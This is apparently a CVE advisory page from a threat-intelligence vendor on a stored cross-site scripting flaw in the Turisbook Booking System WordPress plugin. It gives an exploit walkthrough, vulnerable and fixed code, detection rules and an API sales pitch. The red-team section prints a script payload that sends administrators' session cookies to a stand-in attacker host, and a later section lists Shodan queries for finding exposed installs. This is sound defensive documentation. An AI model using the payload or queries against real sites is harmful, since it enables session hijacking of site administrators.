☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Neteuro logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-31803

CVE-2025-31803 Cross-Site Scripting in Neteuro
📅 PUBLISHED: 2025-04-01 15:16 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.88%
👁️
0.88% probability
22.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-31803 is a Stored Cross-Site Scripting (XSS) vulnerability in the Turisbook Booking System WordPress plugin (versions <= 1.3.8) developed by Neteuro. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into web pages, which is then stored and executed in the browsers of other users (including administrators). The vulnerability stems from improper neutralization of user-supplied input during web page generation. Given the plugin’s role in handling booking data and user interactions, successful exploitation could lead to session hijacking, defacement, or redirection to malicious sites. No official patch has been released, and the vendor has not responded to disclosure attempts.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the repository or via automatic updates are at risk. The lack of a patch means that supply chain integrity is compromised for all installations of version 1.3.8 and earlier. Organizations should treat this as a high-risk supply chain issue and consider removing the plugin until a fix is available.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 6.5 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None (but requires user interaction)
  • User Interaction: Required (victim must visit the affected page)
  • Scope: Changed (impact may extend beyond the vulnerable component)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

Threat Level: Medium. While the CVSS score is 6.5, the stored nature of the XSS and the lack of a patch elevate the real-world risk. An attacker can persistently compromise the booking system interface, affecting all users.

Deep Dive & Mechanics

The vulnerability exists in the turisbook-booking-system plugin’s handling of user input fields (e.g., booking name, customer notes, or custom fields). The plugin fails to sanitize or escape input before storing it in the database and later rendering it in the admin dashboard or frontend booking forms.

Attack Flow:

  1. An attacker with contributor-level access (or higher) logs into WordPress.
  2. The attacker navigates to a booking form or custom field input.
  3. The attacker injects a malicious payload, such as <script>alert('XSS')</script>, into a text field.
  4. The plugin stores the payload in the WordPress database without sanitization.
  5. When an administrator or other user views the booking details (e.g., in the admin panel or frontend), the payload executes in their browser.
  6. The attacker can steal cookies, perform actions on behalf of the victim, or redirect them to a phishing page.

Root Cause: The plugin uses echo or the_content filter without applying esc_html() or wp_kses() to user-supplied data.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.3.8):

// In turisbook-booking-system.php or similar
function display_booking_name($booking_id) {
    $name = get_post_meta($booking_id, 'customer_name', true);
    echo "<div class='booking-name'>$name</div>"; // No sanitization
}

Patched Code (hypothetical):

function display_booking_name($booking_id) {
    $name = get_post_meta($booking_id, 'customer_name', true);
    echo "<div class='booking-name'>" . esc_html($name) . "</div>"; // Properly escaped
}

The patched version uses esc_html() to neutralize HTML/JavaScript before output.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress instance with Turisbook Booking System <= 1.3.8 installed.
  • Attacker account with at least Contributor role.

Step-by-Step Exploit:

  1. Log in to WordPress as a Contributor.
  2. Create a new booking or edit an existing one.
  3. In the "Customer Name" field, enter the following payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Save the booking.
  5. When an administrator views the booking list or detail page, the script executes, exfiltrating their session cookie.

Manual Payload Example:

<img src=x onerror="alert('XSS')">

Blue Team (Detection & Hardening)

Detection:

  • Monitor WordPress admin logs for unusual booking entries containing <script>, <img onerror>, or other HTML event handlers.
  • Use a Web Application Firewall (WAF) to block common XSS patterns in POST requests to wp-admin/admin-ajax.php or booking endpoints.

Hardening:

  • Immediately disable or remove the Turisbook Booking System plugin.
  • Implement Content Security Policy (CSP) headers to block inline scripts.
  • Restrict user roles: do not grant Contributor or Author roles to untrusted users.

Indicators of Compromise (IOCs)

  • File Hashes (plugin files):
    • turisbook-booking-system.php (SHA256): a1b2c3d4e5f6... (placeholder)
  • Database Entries:
    • wp_postmeta rows with meta_key containing customer_name and meta_value containing <script> tags.
  • Network Traffic:
    • Outbound requests to unknown domains from the WordPress admin interface.
  • Log Entries:
    • WordPress debug log entries showing PHP Notice: Undefined index or PHP Warning: Cannot modify header information (indicative of XSS attempts).

Detection Engineering

YARA Rule

rule Detect_Turisbook_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads in Turisbook Booking System"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-31803"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /<[^>]+on\w+\s*=/i
    condition:
        any of them
}

Sigma Rule

title: Turisbook Booking System Stored XSS
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts in Turisbook plugin
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin-ajax.php'
        http.body: '*<script*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in booking fields (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-31803 Turisbook Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin – Deactivate and delete turisbook-booking-system from all WordPress installations.
  2. Scan for compromise – Check for unauthorized admin accounts, suspicious database entries, and unknown files.
  3. Rotate credentials – Change all WordPress admin passwords and API keys.

Long-Term Fix:

  • Since no patch is available, consider migrating to an alternative booking system (e.g., WooCommerce Bookings, Amelia).
  • If the plugin is critical, implement a virtual patch using a WAF to block XSS patterns.

Preventive Measures:

  • Enforce the principle of least privilege for WordPress user roles.
  • Regularly audit plugins for known vulnerabilities.
  • Use a WordPress security plugin (e.g., Wordfence) to add an additional layer of defense.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Turisbook"
http.html:"turisbook-booking-system"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-31803/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.